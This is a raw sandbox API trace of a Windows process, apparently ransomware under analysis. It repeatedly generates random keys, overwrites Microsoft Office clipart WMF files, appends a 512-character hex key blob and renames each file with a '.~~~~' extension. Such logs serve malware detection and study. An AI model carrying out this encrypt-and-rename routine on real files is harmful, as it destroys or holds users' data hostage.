	[0097.985] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0097.985] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0097.985] GetLastError () returned 0x0
	[0097.985] GetLastError () returned 0x0
	[0097.985] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0097.985] GetLastError () returned 0x0
	[0097.985] GetLastError () returned 0x0
	[0098.160] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffffa388, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0098.160] WriteFile (in: hFile=0x128, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0x5c78, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x24dfec0*=0x5c78, lpOverlapped=0x0) returned 1
	[0098.166] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0098.166] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0098.166] WriteFile (in: hFile=0x128, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0098.166] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0098.166] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0098.167] CloseHandle (hObject=0x128) returned 1
	[0098.167] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0098.167] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107350.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107350.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107350.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107350.wmf.~~~~")) returned 1
	[0098.167] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0098.168] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0098.168] GetLastError () returned 0x0
	[0098.168] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0098.169] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0098.169] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0098.169] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0098.169] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0098.169] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0098.169] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=21815902173) returned 1
	[0098.169] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa43a1530, dwHighDateTime=0x1d60e1e)) 
	[0098.169] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0098.169] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0098.169] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0098.169] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2841680
	[0098.169] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0098.169] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2841680 | out: hHeap=0x300000) returned 1
	[0098.169] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0098.169] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0098.169] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0098.169] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0098.169] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x285e3e0
	[0098.169] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0098.170] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0098.170] GetLastError () returned 0x0
	[0098.170] GetLastError () returned 0x0
	[0098.170] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0098.170] GetLastError () returned 0x0
	[0098.170] GetLastError () returned 0x0
	[0098.210] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffffec8c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0098.210] WriteFile (in: hFile=0x128, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0x1374, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x24dfec0*=0x1374, lpOverlapped=0x0) returned 1
	[0098.213] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0098.213] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0098.213] WriteFile (in: hFile=0x128, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0098.214] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0098.214] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0098.214] CloseHandle (hObject=0x128) returned 1
	[0098.214] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0098.214] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107482.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107482.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107482.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107482.wmf.~~~~")) returned 1
	[0098.215] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0098.215] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0098.215] GetLastError () returned 0x0
	[0098.215] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0098.216] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0098.216] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0098.216] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0098.216] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0098.216] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0098.216] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=21820663096) returned 1
	[0098.217] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa4413950, dwHighDateTime=0x1d60e1e)) 
	[0098.217] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0098.217] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0098.217] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0098.217] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28416f0
	[0098.217] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0098.217] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28416f0 | out: hHeap=0x300000) returned 1
	[0098.217] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fdc10
	[0098.217] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0098.217] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0098.217] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fdc10 | out: hHeap=0x300000) returned 1
	[0098.217] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x285e510
	[0098.217] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0098.217] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0098.217] GetLastError () returned 0x0
	[0098.217] GetLastError () returned 0x0
	[0098.217] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0098.218] GetLastError () returned 0x0
	[0098.218] GetLastError () returned 0x0
	[0098.226] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffffe0c0, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0098.226] WriteFile (in: hFile=0x128, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0x1f40, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x24dfec0*=0x1f40, lpOverlapped=0x0) returned 1
	[0098.227] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0098.227] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0098.227] WriteFile (in: hFile=0x128, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0098.227] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0098.227] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0098.227] CloseHandle (hObject=0x128) returned 1
	[0098.228] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2970090
	[0098.228] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107488.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107488.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107488.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107488.wmf.~~~~")) returned 1
	[0098.229] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2970090 | out: hHeap=0x300000) returned 1
	[0098.229] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0098.229] GetLastError () returned 0x0
	[0098.230] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0098.233] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0098.233] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0098.233] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0098.233] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0098.233] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0098.233] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=21822296394) returned 1
	[0098.233] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa4439ab0, dwHighDateTime=0x1d60e1e)) 
	[0098.233] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0098.233] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0098.233] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0098.233] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2841760
	[0098.233] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0098.233] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2841760 | out: hHeap=0x300000) returned 1
	[0098.233] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fdc10
	[0098.233] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0098.233] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2970090
	[0098.233] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fdc10 | out: hHeap=0x300000) returned 1
	[0098.233] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x285e640
	[0098.233] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2970090 | out: hHeap=0x300000) returned 1
	[0098.233] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0098.234] GetLastError () returned 0x0
	[0098.234] GetLastError () returned 0x0
	[0098.234] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0098.234] GetLastError () returned 0x0
	[0098.234] GetLastError () returned 0x0
	[0098.236] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffffe534, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0098.236] WriteFile (in: hFile=0x128, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0x1acc, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x24dfec0*=0x1acc, lpOverlapped=0x0) returned 1
	[0098.236] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0098.236] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0098.236] WriteFile (in: hFile=0x128, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0098.236] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0098.236] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0098.237] CloseHandle (hObject=0x128) returned 1
	[0098.237] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2970090
	[0098.237] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107492.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107492.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107492.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107492.wmf.~~~~")) returned 1
	[0098.237] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2970090 | out: hHeap=0x300000) returned 1
	[0098.237] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0098.237] GetLastError () returned 0x0
	[0098.238] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0098.239] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0098.239] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0098.239] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0098.239] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0098.239] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0098.239] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=21822900597) returned 1
	[0098.239] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa4439ab0, dwHighDateTime=0x1d60e1e)) 
	[0098.239] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0098.239] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0098.239] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0098.239] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2841798
	[0098.239] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0098.239] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2841798 | out: hHeap=0x300000) returned 1
	[0098.239] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fdc10
	[0098.239] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0098.239] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2970090
	[0098.240] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fdc10 | out: hHeap=0x300000) returned 1
	[0098.240] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x285e770
	[0098.240] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2970090 | out: hHeap=0x300000) returned 1
	[0098.240] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0098.240] GetLastError () returned 0x0
	[0098.240] GetLastError () returned 0x0
	[0098.240] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0098.240] GetLastError () returned 0x0
	[0098.240] GetLastError () returned 0x0
	[0098.266] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffffe6e8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0098.267] WriteFile (in: hFile=0x128, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0x1918, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x24dfec0*=0x1918, lpOverlapped=0x0) returned 1
	[0098.267] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0098.267] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0098.268] WriteFile (in: hFile=0x128, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0098.268] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0098.268] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0098.268] CloseHandle (hObject=0x128) returned 1
	[0098.268] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0098.268] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107494.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107494.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107494.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107494.wmf.~~~~")) returned 1
	[0098.269] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0098.269] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0098.269] GetLastError () returned 0x0
	[0098.270] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0098.271] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0098.271] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0098.271] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0098.271] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0098.271] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0098.271] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=21826156368) returned 1
	[0098.272] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa4485d70, dwHighDateTime=0x1d60e1e)) 
	[0098.272] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0098.272] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0098.272] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0098.272] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2841840
	[0098.272] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0098.272] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2841840 | out: hHeap=0x300000) returned 1
	[0098.272] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fdc10
	[0098.272] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0098.272] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
